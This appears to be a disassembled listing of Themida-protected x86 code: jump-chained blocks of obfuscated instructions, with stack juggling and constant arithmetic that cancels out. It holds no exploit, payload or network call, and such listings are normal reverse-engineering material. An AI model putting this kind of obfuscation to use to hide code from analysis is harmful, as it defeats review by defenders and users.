					; Themida_:005AE171j
		push	edi
		mov	edi, 2BAE2CC3h
		sub	[esp+0Ch], edi
		pop	edi
		sub	[esp+8], ebx
		add	dword ptr [esp+8], 2BAE2CC3h
		pop	ebx
		add	dword ptr [esp+4], 2D02246Eh
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 2D02246Eh
		add	dword ptr [esp+4], 1ABD5205h
		pop	ecx
		add	[esp], eax
		push	ebp
		push	ebx
		jmp	loc_59D46D
; ---------------------------------------------------------------------------


loc_59E493:				; CODE XREF: Themida_:0059916Bj
		dec	ebp
		push	esi
		push	6E3Ah
		mov	[esp], ebx
		mov	ebx, 6DD221B6h
		dec	ebx
		xor	ebx, 1058465Ch
		jmp	loc_5A854B
; ---------------------------------------------------------------------------


loc_59E4AE:				; CODE XREF: Themida_:005AEF1Dj
		sub	esp, 4
		jmp	loc_59AE67
; ---------------------------------------------------------------------------


loc_59E4B6:				; CODE XREF: Themida_:005A1CDCj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A9774
; ---------------------------------------------------------------------------


loc_59E4CD:				; CODE XREF: Themida_:005A494Fj
		mov	ebx, 5CC41433h
		push	esi
		mov	esi, 6A9B066Eh
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59ADD2
; ---------------------------------------------------------------------------


loc_59E4E5:				; CODE XREF: Themida_:0059A894j
					; Themida_:005AAC35j
		jp	loc_5A6189
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A53E9
; ---------------------------------------------------------------------------
		inc	ebp
		dec	ebp


loc_59E4F8:				; CODE XREF: Themida_:005A60D1j
		add	esp, 4
		pop	dword ptr [eax]
		push	751Eh
		jmp	loc_59E6F3
; ---------------------------------------------------------------------------


loc_59E507:				; CODE XREF: Themida_:005A9A8Cj
		push	200Ch
		mov	[esp], eax
		mov	ah, 0E4h
		push	ecx
		jmp	loc_59E997
; ---------------------------------------------------------------------------


loc_59E517:				; CODE XREF: Themida_:0059C076j
		mov	[esp], ebp
		jmp	loc_5ACA90
; ---------------------------------------------------------------------------


loc_59E51F:				; CODE XREF: Themida_:005A590Bj
		mov	esp, [esp]
		add	edi, 55CD2E16h
		sub	edi, 23AA0990h
		push	eax
		mov	eax, 0B811670h
		push	edx
		mov	edx, 57E10761h
		not	edx
		and	edx, 3F475AE3h
		neg	edx
		xor	edx, 1BC25CBDh
		sub	edx, 372100D3h
		sub	edx, 96ADC206h
		add	eax, edx
		pop	edx
		jmp	loc_5997C6
; ---------------------------------------------------------------------------


loc_59E55E:				; CODE XREF: Themida_:005A9B3Fj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59E570:				; CODE XREF: Themida_:005A2D25j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	edi, 2
		jmp	loc_5ADB3D
; ---------------------------------------------------------------------------


loc_59E585:				; CODE XREF: Themida_:005A1BF5j
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	101Fh
		mov	[esp], ebp
		push	73B2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5ABF2B
; ---------------------------------------------------------------------------


loc_59E5A8:				; CODE XREF: Themida_:005AABF5j
		push	2626h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 51247BA7h
		not	esi
		not	esi
		add	esi, 0AEDB845Ah
		mov	ecx, esi
		pop	esi
		or	[edi+1Ch], ecx
		jmp	loc_59DC6C
; ---------------------------------------------------------------------------


loc_59E5D0:				; CODE XREF: Themida_:005A9023j
		push	edx
		push	esi
		jmp	loc_59EAFB
; ---------------------------------------------------------------------------


loc_59E5D7:				; CODE XREF: Themida_:005AE36Bj
		xchg	ebp, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59E5E8:				; CODE XREF: Themida_:005A5D71j
					; Themida_:005AD43Bj
		dec	ch
		jmp	loc_5ABB72
; ---------------------------------------------------------------------------


loc_59E5EF:				; CODE XREF: Themida_:005A4132j
		pop	ebx
		shl	edi, 3
		shr	edi, 4
		sub	edi, 5C9D533Fh
		xor	edi, 0FA272ACh
		neg	edi
		xor	edi, 58717484h
		xor	ecx, edi
		jmp	loc_59EB3E
; ---------------------------------------------------------------------------


loc_59E611:				; CODE XREF: Themida_:0059BA71j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	ebx
		mov	ebx, 73011568h
		inc	ebx
		jnp	loc_598A15
		push	ebx
		push	ecx
		jmp	loc_5AD3DC
; ---------------------------------------------------------------------------


loc_59E636:				; CODE XREF: Themida_:005AD79Dj
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59B780
; ---------------------------------------------------------------------------


loc_59E64C:				; CODE XREF: Themida_:005A22C8j
					; Themida_:005A239Cj
		add	esp, 4
		push	6EC8h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 16A20FBCh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A897B
; ---------------------------------------------------------------------------


loc_59E665:				; CODE XREF: Themida_:005AC480j
		jmp	loc_59EB22
; ---------------------------------------------------------------------------


loc_59E66A:				; CODE XREF: Themida_:0059A8E7j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_59877D
; ---------------------------------------------------------------------------


loc_59E676:				; CODE XREF: Themida_:005A3CE7j
		xor	eax, [esp]
		jmp	loc_599F38
; ---------------------------------------------------------------------------


loc_59E67E:				; CODE XREF: Themida_:005A9817j
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_5A9D0B
; ---------------------------------------------------------------------------


loc_59E694:				; CODE XREF: Themida_:0059BF16j
		mov	ecx, 251A2702h
		xor	ecx, eax
		pop	eax
		sub	ebx, 76E66560h
		sub	ebx, 208C6549h
		add	ebx, ecx
		add	ebx, 208C6549h
		add	ebx, 76E66560h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5A5D82
; ---------------------------------------------------------------------------


loc_59E6CF:				; CODE XREF: Themida_:005AEC8Bj
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	177Eh
		mov	[esp], ebx
		jmp	loc_5A2B39
; ---------------------------------------------------------------------------


loc_59E6F3:				; CODE XREF: Themida_:0059E502j
					; Themida_:005A8D1Dj
		mov	[esp], ecx
		jmp	loc_59F824
; ---------------------------------------------------------------------------


loc_59E6FB:				; CODE XREF: Themida_:005A3202j
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edx
		push	3AF5h
		jmp	loc_59886E
; ---------------------------------------------------------------------------


loc_59E713:				; CODE XREF: Themida_:005A3F4Ej
		mov	edx, 75626F9Fh
		not	edx
		sub	edx, 367EE5CAh
		sub	ebx, edx
		pop	edx
		push	73DAh
		mov	[esp], ebx
		add	dword ptr [esp], 19A0603Fh
		jmp	loc_599485
; ---------------------------------------------------------------------------


loc_59E737:				; CODE XREF: Themida_:005A4B79j
		sub	ebx, 1D0B5241h
		mov	ecx, [esp]
		jmp	loc_5ABA16
; ---------------------------------------------------------------------------


loc_59E745:				; CODE XREF: Themida_:005A41D8j
		push	ebx
		mov	bh, dl
		jmp	loc_59D150
; ---------------------------------------------------------------------------


loc_59E74D:				; CODE XREF: Themida_:0059D30Cj
					; Themida_:loc_5A1F8Dj
		sub	ebp, 64A45C2Dh
		jmp	loc_5A9B95
; ---------------------------------------------------------------------------


loc_59E758:				; CODE XREF: Themida_:0059D157j
		add	esp, 4
		sub	ah, 40h
		or	ah, 52h
		dec	ah
		jmp	loc_5A7A4D
; ---------------------------------------------------------------------------


loc_59E768:				; CODE XREF: Themida_:005A2D0Cj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	78FDh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5ACEE0
; ---------------------------------------------------------------------------


loc_59E799:				; CODE XREF: Themida_:005A944Ej
		xor	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		sub	ecx, edx
		pop	edx
		xor	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		sub	edx, 275A3024h
		jmp	loc_5A7EF4
; ---------------------------------------------------------------------------


loc_59E7B3:				; CODE XREF: Themida_:005A9FFAj
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A7AC7
; ---------------------------------------------------------------------------


loc_59E7CE:				; CODE XREF: Themida_:005989B5j
		mov	eax, 415E6D59h
		sub	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 7C1A743Ch
		sub	ebx, 6C5F3211h
		sub	ebx, 0F3212D3Ch
		add	ebp, ebx
		jmp	loc_59D919
; ---------------------------------------------------------------------------


loc_59E7EF:				; CODE XREF: Themida_:0059BA4Bj
		push	0FF3h
		jmp	loc_5AEF0B
; ---------------------------------------------------------------------------


loc_59E7F9:				; CODE XREF: Themida_:005A09D2j
		xor	ebp, 0CE7F0A6Ch
		mov	esi, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5A7B8E
; ---------------------------------------------------------------------------


loc_59E80C:				; CODE XREF: Themida_:0059F348j
		add	ebp, 68016A0Ch
		pop	ebx
		add	ebp, 2
		push	62EFh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5A2E14
; ---------------------------------------------------------------------------


loc_59E827:				; CODE XREF: Themida_:005A08C2j
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A6B33
; ---------------------------------------------------------------------------


loc_59E838:				; CODE XREF: Themida_:0059A4B9j
		xchg	eax, [esp]
		jmp	loc_5AF0A5
; ---------------------------------------------------------------------------


loc_59E840:				; CODE XREF: Themida_:005A7F92j
		xor	[esp], ebx
		jmp	loc_59A231
; ---------------------------------------------------------------------------


loc_59E848:				; CODE XREF: Themida_:005A82C0j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5A445B
; ---------------------------------------------------------------------------


loc_59E850:				; CODE XREF: Themida_:0059A539j
		jbe	loc_5A6C3D
		jmp	loc_59B615
; ---------------------------------------------------------------------------


loc_59E85B:				; CODE XREF: Themida_:0059F6AFj
		sub	ebp, 4
		jmp	loc_5A4EF7
; ---------------------------------------------------------------------------


loc_59E863:				; CODE XREF: Themida_:0059CC61j
		shl	edx, 1
		js	loc_5ABFFE
		push	51D8h
		mov	[esp], ebp
		jmp	loc_59DDB8
; ---------------------------------------------------------------------------


loc_59E878:				; CODE XREF: Themida_:005ACF03j
		pop	esi
		add	ecx, edx
		jmp	loc_5A398A
; ---------------------------------------------------------------------------


loc_59E880:				; CODE XREF: Themida_:005AAF83j
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		shl	ecx, 5
		add	ecx, 11AC430Eh
		xor	ecx, 0D1DF8C2Ah
		jmp	loc_5A88A3
; ---------------------------------------------------------------------------


loc_59E89A:				; CODE XREF: Themida_:005AA523j
		push	0
		push	dword ptr [esp]
		jmp	loc_5A941F
; ---------------------------------------------------------------------------


loc_59E8A7:				; CODE XREF: Themida_:005A58A2j
		jmp	loc_5A2B46
; ---------------------------------------------------------------------------


loc_59E8AC:				; CODE XREF: Themida_:0059FC3Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AD188
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, 4934863h
		add	eax, esi
		sub	eax, 4934863h
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	6F91h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_5A4FAF
; ---------------------------------------------------------------------------


loc_59E8FE:				; CODE XREF: Themida_:005A57F4j
		xchg	eax, [esp]
		pop	esp
		add	eax, 4CD9627Ah
		jmp	loc_5988A2
; ---------------------------------------------------------------------------


loc_59E90C:				; CODE XREF: Themida_:005AC617j
		shr	esi, 2
		inc	esi
		xor	esi, 25B086Fh
		jmp	loc_59D8DD
; ---------------------------------------------------------------------------


loc_59E91B:				; CODE XREF: Themida_:005A5687j
		add	esi, ecx
		pop	ecx
		add	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A6A2C
; ---------------------------------------------------------------------------


loc_59E92B:				; CODE XREF: Themida_:005ABCF9j
		sub	edi, eax
		jmp	loc_59E2C0
; ---------------------------------------------------------------------------


loc_59E932:				; CODE XREF: Themida_:005A690Cj
		mov	bx, [esp]
		jmp	loc_5A7CBE
; ---------------------------------------------------------------------------


loc_59E93B:				; CODE XREF: Themida_:005A6941j
		push	7C7041FEh
		pop	edi
		add	edi, 51315738h
		not	edi
		push	eax
		mov	eax, 187A5B87h
		jmp	loc_59C829
; ---------------------------------------------------------------------------


loc_59E954:				; CODE XREF: Themida_:005AA13Aj
		jmp	loc_5A9D44
; ---------------------------------------------------------------------------


loc_59E959:				; CODE XREF: Themida_:005A8288j
		pop	ebp
		add	edi, 0AD6CD5ECh
		push	1E66h
		mov	[esp], edi
		mov	edi, 161059CDh
		jmp	loc_5A1B7F
; ---------------------------------------------------------------------------


loc_59E972:				; CODE XREF: Themida_:005A5719j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5A90C6
; ---------------------------------------------------------------------------


loc_59E997:				; CODE XREF: Themida_:0059E512j
		mov	cl, 0ECh
		sub	ah, 57h
		sub	ah, cl
		add	ah, 57h
		pop	ecx
		or	ah, 0Eh
		jnz	loc_5A52B8
		shr	ah, 1
		jp	loc_59C7A1
		jmp	loc_5AF25D
; ---------------------------------------------------------------------------


loc_59E9B8:				; CODE XREF: Themida_:005A4DF2j
		pop	ebx
		push	edx
		jmp	loc_59F9AB
; ---------------------------------------------------------------------------


loc_59E9BF:				; CODE XREF: Themida_:0059F50Bj
		mov	[esp], ecx
		mov	ecx, 54DC26FFh
		shl	ecx, 2
		add	ecx, 7FA5D8Fh
		jmp	loc_5AE510
; ---------------------------------------------------------------------------


loc_59E9D5:				; CODE XREF: Themida_:005AB9F6j
		sub	ebp, 5DB31F1Fh
		add	ebp, esi
		add	ebp, 5DB31F1Fh
		push	esi
		jmp	loc_5A3B97
; ---------------------------------------------------------------------------


loc_59E9E9:				; CODE XREF: Themida_:0059D85Aj
		mov	ebx, 55CB2CBBh
		jmp	loc_5A08F1
; ---------------------------------------------------------------------------


loc_59E9F3:				; CODE XREF: Themida_:0059C9E8j
		and	ebx, 78A1764Bh
		xor	ebx, 10201244h
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 283630A6h
		mov	edi, 283630A2h
		xor	edi, eax
		pop	eax
		sub	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_59B3E3
; ---------------------------------------------------------------------------


loc_59EA2D:				; CODE XREF: Themida_:005A1480j
		or	eax, eax
		jz	loc_59A361
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 75F45338h
		jmp	loc_59F000
; ---------------------------------------------------------------------------


loc_59EA4C:				; CODE XREF: Themida_:005AC806j
					; Themida_:005ADA32j
		mov	[esp], eax
		mov	al, bl
		mov	cl, al
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_59E254
; ---------------------------------------------------------------------------


loc_59EA61:				; CODE XREF: Themida_:0059BF26j
		inc	eax
		shr	eax, 6
		or	eax, 761C4CB3h
		add	eax, 0E03A9426h
		xor	edi, eax
		jmp	loc_59BA1F
; ---------------------------------------------------------------------------


loc_59EA76:				; CODE XREF: Themida_:005A4E8Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	7A6h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_599BE9
; ---------------------------------------------------------------------------


loc_59EA91:				; CODE XREF: Themida_:005A0C2Dj
		pop	eax
		jmp	loc_5AE064
; ---------------------------------------------------------------------------


loc_59EA97:				; CODE XREF: Themida_:loc_5A161Bj
					; Themida_:005A18E5j
		push	5FCDh
		mov	[esp], ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 72966013h
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0A812A6Dh
		jmp	loc_5A70F5
; ---------------------------------------------------------------------------


loc_59EACA:				; CODE XREF: Themida_:00599B82j
		neg	dl
		jz	loc_59D2CD
		and	dl, 0A8h
		sub	dl, 0D6h
		shr	dl, 7
		jmp	loc_5A61A6
; ---------------------------------------------------------------------------


loc_59EAE0:				; CODE XREF: Themida_:005A9E44j
		mov	bp, 1FAAh
		add	[esp+4], bp
		jmp	loc_598AA0
; ---------------------------------------------------------------------------


loc_59EAEE:				; CODE XREF: Themida_:005A6D5Cj
		mov	edx, [esp]
		jmp	loc_5A0129
; ---------------------------------------------------------------------------


loc_59EAF6:				; CODE XREF: Themida_:005A6B39j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59EAFB:				; CODE XREF: Themida_:0059E5D2j
		push	557A1D77h
		pop	esi
		dec	esi
		jz	loc_5ABC68
		xor	esi, 0E7825D5h
		mov	edx, esi
		jmp	loc_5A9260
; ---------------------------------------------------------------------------


loc_59EB15:				; CODE XREF: Themida_:005AA4C3j
		push	1745h
		mov	[esp], ebp
		jmp	loc_59C94C
; ---------------------------------------------------------------------------


loc_59EB22:				; CODE XREF: Themida_:loc_59E665j
		neg	edx
		jle	loc_59EF67
		jmp	loc_5A2BAD
; ---------------------------------------------------------------------------
		sub	eax, 5E995046h
		xor	ebp, eax


loc_59EB36:				; CODE XREF: Themida_:005AE0AFj
		shr	eax, 2
		jmp	loc_5A380A
; ---------------------------------------------------------------------------


loc_59EB3E:				; CODE XREF: Themida_:0059E60Cj
					; Themida_:005A49C8j
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_5A3207
; ---------------------------------------------------------------------------


loc_59EB4E:				; CODE XREF: Themida_:0059F33Bj
		pop	esp
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		pop	ebp
		push	3F9Ch
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5A05F9
; ---------------------------------------------------------------------------


loc_59EB8C:				; CODE XREF: Themida_:005A1FE3j
		pop	ebp
		pop	ecx
		xor	edx, ebx
		jmp	loc_5A6275
; ---------------------------------------------------------------------------


loc_59EB95:				; CODE XREF: Themida_:005A2B81j
		push	eax
		mov	eax, 63F37920h
		add	eax, 0CB7EDEBDh
		add	edx, eax
		pop	eax
		jmp	loc_59CE3D
; ---------------------------------------------------------------------------


loc_59EBA8:				; CODE XREF: Themida_:005A24D8j
		add	edx, 51AA6F5Bh
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		push	2753h
		mov	[esp], eax
		push	10C7h
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	72FDh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5A2C19
; ---------------------------------------------------------------------------


loc_59EC05:				; CODE XREF: Themida_:005A87E2j
		pop	edx
		shl	edi, 6
		shl	edi, 1
		sub	edi, 0FFFFFFFFh
		jmp	loc_59D68C
; ---------------------------------------------------------------------------


loc_59EC16:				; CODE XREF: Themida_:005A3303j
		push	19F009B7h
		pop	ecx
		jmp	loc_59C931
; ---------------------------------------------------------------------------


loc_59EC21:				; CODE XREF: Themida_:loc_5A6D1Ej
		push	ecx
		mov	ecx, 44296A9Ch
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_59BE38
; ---------------------------------------------------------------------------


loc_59EC32:				; CODE XREF: Themida_:005A7D33j
		pop	edx
		push	ecx
		mov	ecx, 6CB60E37h
		shr	ecx, 3
		not	ecx
		or	ecx, 64F31365h
		push	esi
		mov	esi, 0D2F6EC5Dh
		sub	ecx, 6CE31A8h
		sub	ecx, esi
		add	ecx, 6CE31A8h
		pop	esi
		jmp	loc_5A0EC3
; ---------------------------------------------------------------------------


loc_59EC5E:				; CODE XREF: Themida_:005A9601j
		xchg	ecx, [esp]
		jmp	loc_5990A3
; ---------------------------------------------------------------------------


loc_59EC66:				; CODE XREF: Themida_:005A7491j
		pop	ebp
		push	2429h
		jmp	loc_599B0A
; ---------------------------------------------------------------------------


loc_59EC71:				; CODE XREF: Themida_:005994DDj
		shr	ebx, 8
		neg	ebx
		jmp	loc_5AE2AE
; ---------------------------------------------------------------------------


loc_59EC7B:				; CODE XREF: Themida_:005A5B15j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59D0C6
; ---------------------------------------------------------------------------


loc_59EC83:				; CODE XREF: Themida_:005AB64Aj
					; Themida_:005AD9BFj
		sub	ecx, 24EB6AA7h
		jmp	loc_598ACC
; ---------------------------------------------------------------------------


loc_59EC8E:				; CODE XREF: Themida_:005A1882j
		push	ecx
		mov	cl, 2Ah
		sub	cl, 0B7h
		xor	cl, 9Ch
		jmp	loc_5AF2F3
; ---------------------------------------------------------------------------


loc_59EC9C:				; CODE XREF: Themida_:005A1B56j
					; Themida_:005A3D99j
		pop	eax
		xor	esi, ebp
		jmp	loc_5A1CE1
; ---------------------------------------------------------------------------


loc_59ECA4:				; CODE XREF: Themida_:005AC778j
		or	ebx, ecx
		pop	ecx
		xor	ebx, 42672860h
		shl	ebx, 1
		push	edx
		mov	edx, 5D8B3A5Ch
		and	edx, 14456230h
		push	ebx
		mov	ebx, 33C55CB9h
		add	edx, 338C0809h
		add	edx, ebx
		sub	edx, 338C0809h
		pop	ebx
		inc	edx
		add	edx, 0CF2883DFh
		jmp	loc_5AED9B
; ---------------------------------------------------------------------------


loc_59ECDC:				; CODE XREF: Themida_:005AC4E7j
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5A5814
; ---------------------------------------------------------------------------


loc_59ECE8:				; CODE XREF: Themida_:005ACDC2j
					; Themida_:005AD6E8j
		add	eax, 3C024B7Dh
		add	eax, ebp
		jmp	loc_59BECC
; ---------------------------------------------------------------------------


loc_59ECF4:				; CODE XREF: Themida_:005A62DFj
		add	esp, 4
		jmp	loc_59D29C
; ---------------------------------------------------------------------------


loc_59ECFC:				; CODE XREF: Themida_:005AE1FBj
		sub	ecx, edi
		pop	edi
		jmp	loc_5A3665
; ---------------------------------------------------------------------------


loc_59ED04:				; CODE XREF: Themida_:005A50B9j
		add	esi, 22C8E3C7h
		jmp	loc_5A1E26
; ---------------------------------------------------------------------------


loc_59ED0F:				; CODE XREF: Themida_:005ADC1Bj
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_5A723C
; ---------------------------------------------------------------------------


loc_59ED1F:				; CODE XREF: Themida_:0059EE5Dj
		push	ecx
		jmp	loc_5A937F
; ---------------------------------------------------------------------------


loc_59ED25:				; CODE XREF: Themida_:loc_5A854Bj
		neg	ebx
		jbe	loc_598FEA
		shl	ebx, 7
		js	loc_5A7B88
		jmp	loc_5A4A22
; ---------------------------------------------------------------------------
		pop	edi


loc_59ED3C:				; CODE XREF: Themida_:005A19CAj
					; Themida_:005A2630j
		xor	eax, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_5A3552
; ---------------------------------------------------------------------------


loc_59ED48:				; CODE XREF: Themida_:0059CBABj
					; Themida_:005A1B5Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 24EB6AA7h
		jmp	loc_5AD9BD
; ---------------------------------------------------------------------------


loc_59ED5A:				; CODE XREF: Themida_:005ACCEBj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A9305
; ---------------------------------------------------------------------------


loc_59ED68:				; CODE XREF: Themida_:005ADC77j
		add	ch, 2Ch
		push	edx
		jmp	loc_59ADFE
; ---------------------------------------------------------------------------


loc_59ED71:				; CODE XREF: Themida_:0059F665j
		jz	loc_59C3DF
		xor	esi, 2D21BCABh
		jmp	loc_5ADBDD
; ---------------------------------------------------------------------------


loc_59ED82:				; CODE XREF: Themida_:005A45C2j
					; Themida_:005AAE10j
		pop	edx
		push	ebp
		mov	ebp, 38566811h
		jmp	loc_5A2D32
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59ED96:				; CODE XREF: Themida_:0059FA4Ej
		mov	[esp], eax
		jmp	loc_59C1B2
; ---------------------------------------------------------------------------


loc_59ED9E:				; CODE XREF: Themida_:0059E1B6j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A56B7
; ---------------------------------------------------------------------------


loc_59EDBC:				; CODE XREF: Themida_:005A8819j
		mov	eax, [esp]
		add	esp, 4
		or	bl, 99h
		jnp	loc_5A614C
		jmp	loc_59BC53
; ---------------------------------------------------------------------------


loc_59EDD3:				; CODE XREF: Themida_:0059F1E1j
		add	edi, ebx
		sub	edi, 49341C85h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_5A2D19
; ---------------------------------------------------------------------------


loc_59EDE7:				; CODE XREF: Themida_:0059F8CFj
		pop	edi
		push	739Dh
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		push	141F2138h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 1F3C179Ah
		ja	loc_59FAAC
		not	ecx
		inc	ecx
		add	ecx, 233E56AEh
		push	ecx
		mov	edx, ecx


loc_59EE2C:				; CODE XREF: Themida_:005AC940j
		sub	esi, 32D12A09h
		add	esi, ecx
		jmp	loc_59BA32
; ---------------------------------------------------------------------------


loc_59EE39:				; CODE XREF: Themida_:0059D524j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		jmp	loc_5A145F
; ---------------------------------------------------------------------------


loc_59EE47:				; CODE XREF: Themida_:005A85D8j
		push	ebp
		jmp	loc_5A4D77
; ---------------------------------------------------------------------------


loc_59EE4D:				; CODE XREF: Themida_:005AA5E8j
		pop	esi
		sub	ecx, 33EA1766h
		sub	ecx, edi
		add	ecx, 33EA1766h
		pop	edi
		jmp	loc_59ED1F
; ---------------------------------------------------------------------------


loc_59EE62:				; CODE XREF: Themida_:0059C4B6j
		shr	ebp, 4
		jmp	loc_5AC2A4
; ---------------------------------------------------------------------------


loc_59EE6A:				; CODE XREF: Themida_:005999AEj
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 22654E7Fh
		push	edx
		jmp	loc_5A069D
; ---------------------------------------------------------------------------


loc_59EE7D:				; CODE XREF: Themida_:005AAA07j
		mov	[esp], ecx
		push	197F559Fh
		pop	ecx
		shr	ecx, 6
		xchg	edi, ecx
		not	edi
		jmp	loc_5A6B09
; ---------------------------------------------------------------------------


loc_59EE92:				; CODE XREF: Themida_:005A57CBj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, 50016141h
		neg	edx
		dec	edx
		not	edx
		shr	edx, 3
		push	eax
		jmp	loc_5A7F81
; ---------------------------------------------------------------------------


loc_59EEB0:				; CODE XREF: Themida_:0059A1C3j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59EEB5:				; CODE XREF: Themida_:005AAB33j
		push	esi
		mov	esi, 34DA4EC9h
		sub	esi, 0F5B33CBBh
		add	ebp, esi
		pop	esi
		pop	edx
		jmp	loc_5ABD06
; ---------------------------------------------------------------------------


loc_59EECA:				; CODE XREF: Themida_:005A84F6j
		xchg	eax, [esp]
		jmp	loc_5A64DE
; ---------------------------------------------------------------------------


loc_59EED2:				; CODE XREF: Themida_:0059CE15j
		push	ebp
		mov	ebp, 5F1E5FE2h
		sub	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_59964F
; ---------------------------------------------------------------------------


loc_59EEE5:				; CODE XREF: Themida_:005ABB6Dj
		sub	ebx, 61DF6B79h
		mov	ecx, ebx
		pop	ebx
